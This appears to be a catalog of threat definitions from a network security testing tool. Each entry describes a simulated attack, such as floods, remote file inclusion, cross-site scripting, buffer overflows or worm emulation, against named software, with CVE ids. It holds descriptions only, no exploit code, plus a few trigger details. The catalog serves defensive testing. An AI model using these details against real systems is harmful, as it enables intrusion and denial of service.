Threat File Name:	sunfire_IPv6.xml
Executive Description:	Sunfire Type of Service Attack (IPv6 Version)
Detailed Description:	This threat sends out ICMP ping packets with random Type of Service bits set in the IP portion of the packet. This can crash certain versions of the Sun Fire and Netra controller firmware. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	ned_xss.xml
Executive Description:	Nokia Electronic Documentation Cross Site Scripting
Detailed Description:	This threat attempts to cause a cross site scripting attack on a Nokia Electronic Documentation web server. Can be used to execute Javascript with the user's permissions on the website they are viewing.
Protocol Type:	HTTP
CVEID:	CVE-2003-0801
OSVDB:	3483
Threat Package:	Standard
Threat File Name:	apache_byterange_IPv6.xml
Executive Description:	Apache Byte Range Denial Of Service (IPv6 Version)
Detailed Description:	By requesting a small byte range for a large file, it is possible to cause the Apache web server acting as a proxy to consume large amounts of memory of data that is not freed up later. This can lead to a denial of service. Apache is a popular webserver that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2728
OSVDB:	18977
Threat Package:	Standard
Threat File Name:	FSC20110208-25_Microsoft_Internet_Explorer_Deleted_Data_Source_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Deleted Data Source Object Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when accessing an XML Data Source Object that has not been deleted properly. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0035
Threat File Name:	sipmissingheaders.xml
Executive Description:	SIPPING: Missing Required Headers
Detailed Description:	This threat sends out a SIP INVITE message missing a number of required headers. Because this is unexpected, it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	ie7_beta_dos_sound_IPv6.xml
Executive Description:	Internet Explorer BGSOUND DOS (IPv6 Version)
Detailed Description:	This threat causes a denial of service and possible stack overflow on Internet Explorer 7 beta 2. This is done by specifying a BGSOUND property tag with 344 dashes. This threat typically comes from web servers, which listen on port 80. This threat is a client side attack that comes from the Virtual Server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0544
Threat Package:	Standard

Threat File Name:	links_rexec.xml
Executive Description:	Links ELinks SMBClient Remote Command Execution Vulnerability
Detailed Description:	This threat uses a malicious http server reply to send arbitrary smb commands on a victim computer. Links/ELinks is a web browser that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5925
Threat Package:	Standard
Threat File Name:	ultimatefunbook_rfi.xml
Executive Description:	Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Ultimate Fun Book is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1059
Threat Package:	Standard
Threat File Name:	FSC20090609-21_Microsoft_Office_Excel_Unexpected_Field_Value_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Unexpected Field Value Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel products. The vulnerability is due to the way the affected product parses the FORMULA record and the related substructure FormulaValue. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0560
Threat Package:	Standard
Threat File Name:	FSC20101012-34_Microsoft_Office_Excel_PtgExtraArray_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel PtgExtraArray Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to lack of validation on the PtgExtraArray data structure when parsing a crafted Excel file. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3239
Threat Package:	Standard
Threat File Name:	FSC20071113-06_Microsoft_Windows_DNS_Server_Spoofing_Vulnerability_IPv6.xml
Executive Description:	Microsoft Windows DNS Server Spoofing Vulnerability (IPv6 Version)
Detailed Description:	There exists a DNS Cache Poisoning vulnerability in Microsoft DNS servers. The vulnerability is due to predictable transaction ID values in outgoing DNS queries. A remote attacker can exploit this vulnerability to poison the DNS cache by sending malicious responses to DNS requests, thereby redirecting Internet traffic to illegitimate sites. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2007-3898
Threat Package:	Standard
Threat File Name:	TSL20150210-32_Microsoft_Internet_Explorer_CVE_2015-0041_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-0041 Use After Free IPv6 version.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-0041
OSVDB:	118161
Threat File Name:	TSL20150313-08_Microsys_Promotic_PmBase64Decode_Buffer_Overflow.xml
Executive Description:	Microsys Promotic PmBase64Decode Buffer Overflow.
Detailed Description:	A stack-based buffer overflow vulnerability exists in Microsys's Promotic. The vulnerability is due to an insufficient boundary check on user-supplied data in the PmBase64Decode function. A remote, unauthenticated attacker can exploit this vulnerability by supplying a maliciously crafted base64 encoded string to the vulnerable application. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the target application.
Protocol Type:	HTTP
CVEID:	CVE-2014-9205
Threat File Name:	winzip_activex_dos.xml
Executive Description:	WinZip ActiveX Control Remote Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in the Winzip ActiveX control when accessed by Internet Explorer, allows remote code execution on the client host. This affects WinZip ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5198
Threat Package:	Standard
Threat File Name:	FSC20070314-05_Apache_Tomcat_Servlet_Engine_Directory_Traversal.xml
Executive Description:	Apache Tomcat Servlet Engine Directory Traversal

Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for the directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server.
Protocol Type:	HTTP
CVEID:	CVE-2007-0450
Threat Package:	Standard
Threat File Name:	FSC20081117-05_Mozilla_Firefox_XUL_Frame_Tree_Memory_Corruption.xml
Executive Description:	Mozilla Firefox XUL Frame Tree Memory Corruption
Detailed Description:	There exists vulnerability in Mozilla Firefox. The vulnerability is due to insufficient validation when handling XUL frame tree. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged on user. In a successful attack, arbitrary code is supplied and executed on the vulnerable target host. The behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP
CVEID:	CVE-2008-5016
Threat Package:	Standard
Threat File Name:	phpwebsite_cmi.xml
Executive Description:	PHPWebSite 0.10.2 Remote Command Execution
Detailed Description:	This threat simply builds a URL containing PHP code, as well as injecting code within the "User-Agent" header field which when combined with an arbitrary remote inclusion flaw allows the execution of arbitrary code. PHPWebSite is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20101222-02_Microsoft_WMI_Administrative_Tools_ActiveX_Control_Multiple_Vulnerabilities.xml
Executive Description:	Microsoft WMI Administrative Tools ActiveX Control Multiple Vulnerabilities
Detailed Description:	Multiple vulnerabilities have been reported in Microsoft Windows Management Instrumentation (WMI) Administrative Tools that could be exploited by remote attackers to compromise a vulnerable user's system. The vulnerabilities are due to the way "AddContextRef()" and "ReleaseContext()" methods of the WMI Object Viewer control improperly handle the "lCtxHandle" parameter.Remote, unauthenticated attackers could exploit this vulnerability by enticing an unsuspecting user to process a malicious web page. This can lead to code execution on their system under the context of the affected application.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3973
Threat File Name:	starftp_dos_IPv6.xml
Executive Description:	Star FTP Server 1.10 (RETR) Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in StarFTP by using a large RETR request to crash the service. StarFTP is ftp server software and typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-6643
Threat Package:	Standard
Threat File Name:	web-provence_rfi_IPv6.xml
Executive Description:	Web-Provence SL_Site Spaw_control.class.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Web-Provence is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mssql_svr_activex_bof_IPv6.xml
Executive Description:	Microsoft SQL Server (sqldmo.dll) ActiveX Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft SQL Server (sqldmo.dll) ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sunshop4_rfi.xml
Executive Description:	sunshop 4 (index.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. SunShop is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2070
Threat Package:	Standard
Threat File Name:	fprot_chm_dos_IPv6.xml
Executive Description:	F-PROT Antivirus CHM File Heap Buffer Overflow Vulnerability. (IPv6 Version)
Detailed Description:	This threat leverages a flaw in F-PROT Antivirus's handling of CHM files leading to a denial of service condition. F-PROT Antivirus is a client application that scans for malicious software from varied locations. This threat uses a web server typically listening on port 80 as a transmission vector. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	grandstream_invite_dos.xml
Executive Description:	Grandstream Budge Tone-200 denial of service vulnerability
Detailed Description:	This threat sends a malicious INVITE message to a Grandstream Budge Tone-200 VoIP phone causing it to crash. Grandstream Budge Tone-200 Phone uses the SIP protocol and typically listens on udp port 5060.
Protocol Type:	SIP
CVEID:	CVE-2007-1590

Threat Package:	Standard
Threat File Name:	beagleAA_IPv6.xml
Executive Description:	Beagle.AA Worm (IPv6 Version)
Detailed Description:	This threat is a version of the Beagle.AA mass mailing worm. It is reliant on a malicious attachment. This attack mimics connecting to a mail server and sending the email to user@example.com. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20091124-03_Sun_MySQL_Database_SELECT_Subquery_Denial_of_Service.xml
Executive Description:	Sun MySQL Database SELECT Subquery Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in MySQL database server. The vulnerability is due to an input validation error while parsing a specially crafted SELECT query with a sub-query in the WHERE clause. Remote authenticated users can exploit this vulnerability to cause a denial of service condition. Successful exploitation would cause the database service to terminate abnormally.
Protocol Type:	MySQL
Threat Package:	Standard
Threat File Name:	divxwebplayer-1_IPv6.xml
Executive Description:	DivX Web Player NPDIVX32.DLL ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious web server to leave a denial-of-service condition in Internet Explorer or other applications that use the vulnerable NPDIVX32.DLL ActiveX control included with DivX Player 6.4.1. Internet Explorer is a web browser and typically connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0429
Threat Package:	Standard
Threat File Name:	netgear_http_crash_IPv6.xml
Executive Description:	Netgear HTTP Management Crash (IPv6 Version)
Detailed Description:	This threat causes a crash of the HTTP management daemon on a netgear router by sending a malformed POST request. Netgear's HTTP management process listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	iis_print2_IPv6.xml
Executive Description:	IIS .printer Request Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a buffer overflow request that affects IIS 5.0 for Windows 2000 with Service Pack 1 or previous installed. As described in MS01-023, it takes advantage of a flaw in the .printer directive for this version of IIS in the host header. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2001-0241
OSVDB:	3323
Threat Package:	Standard
Threat File Name:	floodICMPHostUnreachable.xml
Executive Description:	ICMP Host Unreachable Flood
Detailed Description:	This threat sends out an ICMP Host Unreachable flood. This causes legitimate TCP connections to the spoofed address to be terminated. By continuously sending these packets, this can cause a denial of service on the target.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	IMail_web_IPv6.xml
Executive Description:	IMail Web Service Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large amount of data targeted for the IMail Web Service which typically listens on port 8383. The effect of this threat is a denial of service, but could be used for remote code execution. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard
Threat File Name:	finflood_IPv6.xml
Executive Description:	TCP FIN Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the FIN (final) flag has been turned on. The FIN flag is sent by a user to designate that it is no longer sending packets. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2003-0393
OSVDB:	10840
Threat Package:	Standard
Threat File Name:	FSC20090706-01_Microsoft_Video_ActiveX_Control_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Video ActiveX Control Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectShow. The flaw is due to the way Microsoft Video ActiveX Control parses image files. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of memory corruption.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-0015
Threat Package:	Standard
Threat File Name:	opera9_dos.xml
Executive Description:	Opera Malicious HTML Processing Denial of Service Vulnerability

Detailed Description:	This threat sends a malicious piece of html which will cause Opera web browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3199
Threat Package:	Standard
Threat File Name:	cm68_news_rfi_IPv6.xml
Executive Description:	CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. CM68 News is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6462
Threat Package:	Standard
Threat File Name:	TSL20170314-34_Microsoft_Edge_Chakra_SetPropertyTrap_Method_PropertyString_Object_Type_Confusion.xml
Executive Description:	Microsoft Edge Chakra SetPropertyTrap Method PropertyString Object Type Confusion
Detailed Description:	A type confusion has been reported in Chakra, Microsoft Edge's JavaScript engine. This vulnerability is due to incorrect casting by the JavascriptProxy::SetPropertyTrap function. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-0094
Threat File Name:	TSL20140228-04_Microsoft_Internet_Explorer_CVE-2014-0287_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0287 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0287
OSVDB:	103185
Threat File Name:	TSL20150310-39_Microsoft_Windows_Adobe_Font_Driver_CVE-2015-0092_Memory_Corruption.xml
Executive Description:	Microsoft Windows Adobe Font Driver CVE-2015-0092 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows Adobe Font Driver. The vulnerability is due to improper overwrite of objects in memory when processing crafted fonts. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to view a maliciously crafted font in an application that utilizes the affected library. Successful exploitation of this vulnerability would result in arbitrary code execution within the Kernel. In the case of an unsuccessful code injection attack, the affected system will crash, causing a denial of service condition.
Protocol Type:	HTTP
CVEID:	CVE-2015-0092
OSVDB:	119363
Threat File Name:	nachi_ping.xml
Executive Description:	Nachi Worm Ping Request
Detailed Description:	This threat mimics the ping request sent out by the Nachi worm. This is used by the worm to find new hosts to infect. The payload of a Nachi worm is 64 bytes of '0xAA'. The vulnerability is also described in MS03-026.
Protocol Type:	ICMP
CVEID:	CVE-2003-0352
OSVDB:	2100
Threat Package:	Standard
Threat File Name:	mxBB_MxTinies_rfi.xml
Executive Description:	MXBB MxTinies Module Module_Root_Path Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MXBB is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-6295
Threat Package:	Standard
Threat File Name:	phpmychat_xss_b_IPv6.xml
Executive Description:	PHPMyChat style.css.php Cross-Site Scripting Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. PHPMyChat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3991
OSVDB:	21545
Threat File Name:	cisco_http_dos3.xml
Executive Description:	Cisco IOS HTTP Error Denial of Service
Detailed Description:	This threat sends a malformed URL which can cause certain versions of Cisco IOS to crash.
Protocol Type:	HTTP
CVEID:	CVE-2000-0984
OSVDB:	6717
Threat Package:	Standard
Threat File Name:	FSC20070703-08_Microsoft_Excel_Sheet_Name_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Sheet Name Memory Corruption (IPv6 Version)

Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to the way Microsoft Excel parses malicious XLS files containing a specially crafted sheet name. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted XLS file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3490
Threat Package:	Standard
Threat File Name:	firefoxKeystroke_IPv6.xml
Executive Description:	Firefox Keystroke Capturing (IPv6 Version)
Detailed Description:	This threat sends a malicious webpage from the virtual server. It allows the attacker to collect user keystrokes and filter out a specific string to be used to steal files off of a harddisk. Webservers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2894
Threat Package:	Standard
Threat File Name:	TSL20120508-29_Adobe_Shockwave_Player_rcsL_Chunk_Parsing_Uninitialized_Object_Access_IPV6.xml
Executive Description:	Adobe Shockwave Player rcsL Chunk Parsing Uninitialized Object Access
Detailed Description:	A code execution vulnerability has been reported in Adobe Shockwave Player. The vulnerability is due to an error while parsing crafted data in a rcsL RIFF chunk of a DIR file. An attacker can exploit this vulnerability by enticing a user to process a malicious file, which could result in remote code execution under the security context of the current user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2030
OSVDB:	81749
Threat File Name:	FSC20100413-12_Microsoft_Office_Publisher_File_Conversion_TextBox_Processing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Publisher File Conversion TextBox Processing Buffer Overflow
Detailed Description:	An stack buffer overflow vulnerability exists in Microsoft Office Publisher that could allow a remote attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to the way Publisher parses certain values in a Microsoft Publisher file. Remote attackers could exploit this vulnerability by enticing the target user to open a malicious file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP/SMB/CIFS/SMTP/FTP
CVEID:	CVE-2010-0479
Threat Package:	Standard
Threat File Name:	FSC20100330-07_Microsoft_Internet_Explorer_Tabular_Data_Control_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Tabular Data Control Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due a design error in the TDCctl ActiveX Control in the handling of long URLs. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code execution is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in this case would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0805
Threat Package:	Standard
Threat File Name:	phpbb_cmi_IPv6.xml
Executive Description:	phpBB admin 2 exec Exploit (IPv6 Version)
Detailed Description:	This threat sends a standard HTTP query which uses an SQL query to insert PHP code which is executed by the server. phpBB typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100512-05_HP_OpenView_NNM_getnnmdata.exe_CGI_ICount_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView NNM getnnmdata.exe CGI ICount Parameter Buffer overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a format string error in getnnmdata.exe when processing the iCount variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the getnnmdata.exe process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-1554
Threat Package:	Standard
Threat File Name:	TSL20110623-01_Microsoft_Internet_Explorer_layout-grid-char_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer layout-grid-char Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an input validation weakness in how the vulnerable application handles HTML pages. Remote attackers can exploit this vulnerability by enticing target users to open a malicious webpage, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1260
Threat File Name:	FSC20080828-03_Red_Hat_Directory_Server_Accept-Language_HTTP_Header_Parsing_Buffer_Overflow_IPv6.xml

Executive Description:	Red Hat Directory Server Accept-Language HTTP Header Parsing Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Red Hat Directory Server. The flaw is due to improper data validation in the Administrator Web Interface component. A remote attacker can trigger this vulnerability by sending crafted HTTP request to the affected service, potentially inject and execute arbitrary code with root level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-2928
Threat Package:	Standard
Threat File Name:	FSC20070820-02_Mercury_Mail_Transport_System_SMTP_AUTH_CRAM-MD5_Buffer_Overflow.xml
Executive Description:	Mercury Mail Transport System SMTP AUTH CRAM-MD5 Buffer Overflow
Detailed Description:	There exists a stack buffer overflow in Mercury Mail Transport System. The vulnerability is due to a boundary error when processing CRAM-MD5 string following the SMTP AUTH command. Successful exploitation of this vulnerability allows remote attackers to create denial of service condition or execute arbitrary code with the privileges of the affected application.
Protocol Type:	HTTP
CVEID:	CVE-2007-4440
Threat Package:	Standard
Threat File Name:	dlink_httpd_crash_IPv6.xml
Executive Description:	DWL-G700AP httpd malformed query crash (IPv6 Version)
Detailed Description:	This threat sends a malformed incomplete HTTP query which crashes the device. the D-Link httpd typically runs on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	burncms_cmi_a_IPv6.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat demonstrates a remote file inclusion flaw against authuser.php's root parameter. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	urgFlood.xml
Executive Description:	TCP URG Flood
Detailed Description:	This threat floods a user defined target with TCP packets, from randomized, spoofed addresses, where the URG (urgent) flag has been turned on. The receiving target passes data to the application in sequence, unless that data is marked as urgent, thus superseding the rule and passing our bogus data to the application for execution. This will result in a the server's application processing erroneous packets and using resources causing a slowed response to legitimate traffic and possibly DoS. This is only subject if the packets become associated with a legitimate connection which will be created with future, state-oriented attacks.
Protocol Type:	TCP
CVEID:	CVE-1999-1349
OSVDB:	13500
Threat Package:	Standard
Threat File Name:	imap_buffer_overflow_129.xml
Executive Description:	IMAP Buffer Overflow [129] Attack
Detailed Description:	This generic threat sends a long buffer [129 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	TSL20110720-09_Oracle_GlassFish_Server_Malformed_Username_Cross_Site_Scripting_IPv6.xml
Executive Description:	Oracle GlassFish Server Malformed Username Cross Site Scripting(IPv6 Version)
Detailed Description:	A persistent cross site scripting vulnerability has been reported in the HTTP administration component of Oracle's GlassFish Server. The vulnerability is due to insufficient input validation on incorrect username values, which are then written to a log file. A attacker can exploit this vulnerability by sending specially crafted HTTP request to the server. Successful exploitation can result in script code being executed in the context of the user, normally administrator, viewing the log files.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2011-2260
Threat File Name:	ms_media_server_activex_bof.xml
Executive Description:	Microsoft Windows Media Server MDSAuth.DLL ActiveX Control Remote Code Execution Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Windows Media Server ActiveX application, resulting in the overwriting of arbitrary files. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2221
Threat Package:	Standard
Threat File Name:	TSL20140708-01_Oracle_Event_Processing_FileUploadServlet_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Event Processing FileUploadServlet Directory Traversal IPv6 version.
Detailed Description:	A code execution vulnerability exists in Oracle Event Processing. The vulnerability is due to a directory traversal within the FileUploadServlet servlet. A remote unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. This may lead to code execution in the context of the affected service. Tester should turn variable \$destPort into 9002 or 9003 before test.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-2424
OSVDB:	105844
Threat File Name:	FSC20080204-06_Yahoo_Music_Jukebox_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Yahoo! Music Jukebox ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	Multiple buffer overflow vulnerabilities exist in Yahoo! Music Jukebox. These vulnerabilities are caused due to boundary errors within the Yahoo! Music Jukebox ActiveX Control. A remote attack can exploit these vulnerabilities by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)

Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_ErrorCode_Message_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_ErrorCode_Message_formatn.xml
Detailed Description:	Fuzzes ErrorNullTerm field by appending "%n" to the ErrorMessage with ranging sizes. OpCode is 05
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	phpmyagenda_cmi_a.xml
Executive Description:	phpMyAgenda 3.0 Arbitrary Remote File Inclusion (agenda2.php3)
Detailed Description:	This threat leverages an arbitrary remote file inclusion into an arbitrary command execution flaw via the "rootagenda" argument to agenda.php3. phpMyAgenda is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RangingErrorCode.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RangingErrorCode.xml
Detailed Description:	Fuzzes ErrorCode field by ranging through all possible values. OpCode is 05
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	apache_byterange.xml
Executive Description:	Apache Byte Range Denial Of Service
Detailed Description:	By requesting a small byte range for a large file, it is possible to cause the Apache web server acting as a proxy to consume large amounts of memory of data that is not freed up later. This can lead to a denial of service. Apache is a popular webserver that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2728
OSVDB:	18977
Threat Package:	Standard
Threat File Name:	vistabb_rfi_IPv6.xml
Executive Description:	VistaBB functions_mod_user.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. VistaBB is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	28141
